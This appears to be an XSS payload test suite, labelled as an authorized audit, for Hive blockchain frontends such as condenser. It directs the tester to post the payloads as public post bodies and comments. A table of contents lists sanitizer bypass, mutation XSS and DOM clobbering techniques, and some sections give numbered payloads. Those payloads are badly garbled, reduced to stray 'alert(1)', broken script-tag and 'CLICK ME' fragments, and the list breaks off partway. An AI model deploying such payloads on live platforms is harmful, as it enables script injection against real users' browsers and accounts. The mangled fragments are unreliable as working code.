XSS Payload Test Suite for Hive Frontends

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XSS Payload Test Suite for Hive Frontends

⚠️  FOR AUTHORIZED TESTING ONLY
    Do not use against systems without explicit written permission.
    Report ID: AUDIT-20260322
    Auditor: louis88

Purpose: Post each payload as a Hive blockchain post body to test sanitization
across condenser and other Hive frontends. All payloads use alert(1) or
alert(document.domain) as a benign proof-of-concept indicator.

How to use: Each section contains payloads wrapped in markdown code fences
for reference, followed by the raw payload to copy. Test each payload as:

  1. A standalone post body
  2. Wrapped in <html>...</html> tags (triggers the raw HTML path in MarkdownViewer)
  3. Inside a markdown paragraph mixed with normal text
  4. As a comment on an existing post

Table of Contents

  1. Standard Vectors
  2. HTML Tag Event Handlers — Exhaustive
  3. SVG Vectors
  4. MathML Vectors
  5. HTML5 Semantic & Obscure Tags
  6. Encoding Bypass Vectors
  7. Unicode & Character Tricks
  8. CSS-Based Vectors
  9. Markdown-Specific Vectors
  10. Mutation XSS (mXSS)
  11. DOM Clobbering Chains
  12. Template & Framework-Specific
  13. Protocol Handler Abuse
  14. Meta & Base Tag Injection
  15. Form & Input Hijacking
  16. Object, Embed & Applet
  17. Media Elements
  18. Focus & Autofocus Chains
  19. Animation & Transition Events
  20. Content-Editable & Designmode
  21. Polyglot Payloads
  22. DOMPurify Specific Bypasses
  23. Condenser html-Wrapper Path
  24. Dangling Markup Injection
  25. Tab-Nabbing & Window Reference
  26. Exotic Attribute Vectors
  27. Regex Sanitizer Bypass Techniques
  28. Obfuscation & Evasion Techniques
  29. Payload Chaining & Multi-Stage

1. Standard Vectors

Classic payloads that every sanitizer should catch. If any of these fire, the sanitizer is fundamentally broken.

XSS-STD-001
alert(1) 
XSS-STD-002

XSS-STD-003
alert(String.fromCharCode(72,105)) 
XSS-STD-004
alert(1) 
XSS-STD-005
alert(1) 
XSS-STD-006 — Script with CDATA (XHTML context)
/**/ 
XSS-STD-007 — Closing existing tag context

alert(1)

XSS-STD-008 — Closing textarea context
alert(1) 
XSS-STD-009 — Closing noscript context

alert(1)

XSS-STD-010 — Line breaks in tag

alert(1)</scr
ipt>

2. HTML Tag Event Handlers — Exhaustive

Comprehensive list of every HTML event handler attribute. Many sanitizers only block onerror and onload but miss obscure handlers.

2.1 Mouse Events

XSS-EVT-001


XSS-EVT-002
HOVER ME
XSS-EVT-003
HOVER ME
XSS-EVT-004
HOVER THEN LEAVE
XSS-EVT-005
CLICK ME
XSS-EVT-006
CLICK ME
XSS-EVT-007
MOVE OVER ME
XSS-EVT-008
LEAVE ME
XSS-EVT-009
CLICK ME
XSS-EVT-010
DOUBLE CLICK
XSS-EVT-011
RIGHT CLICK ME
XSS-EVT-012
SCROLL ON ME

2.2 Keyboard Events

XSS-EVT-013


XSS-EVT-014


XSS-EVT-015

2.3 Load / Lifecycle Events

XSS-EVT-016

XSS-EVT-017


XSS-EVT-018

XSS-EVT-019

XSS-EVT-020

XSS-EVT-021

XSS-EVT-022

XSS-EVT-023


XSS-EVT-024


XSS-EVT-025
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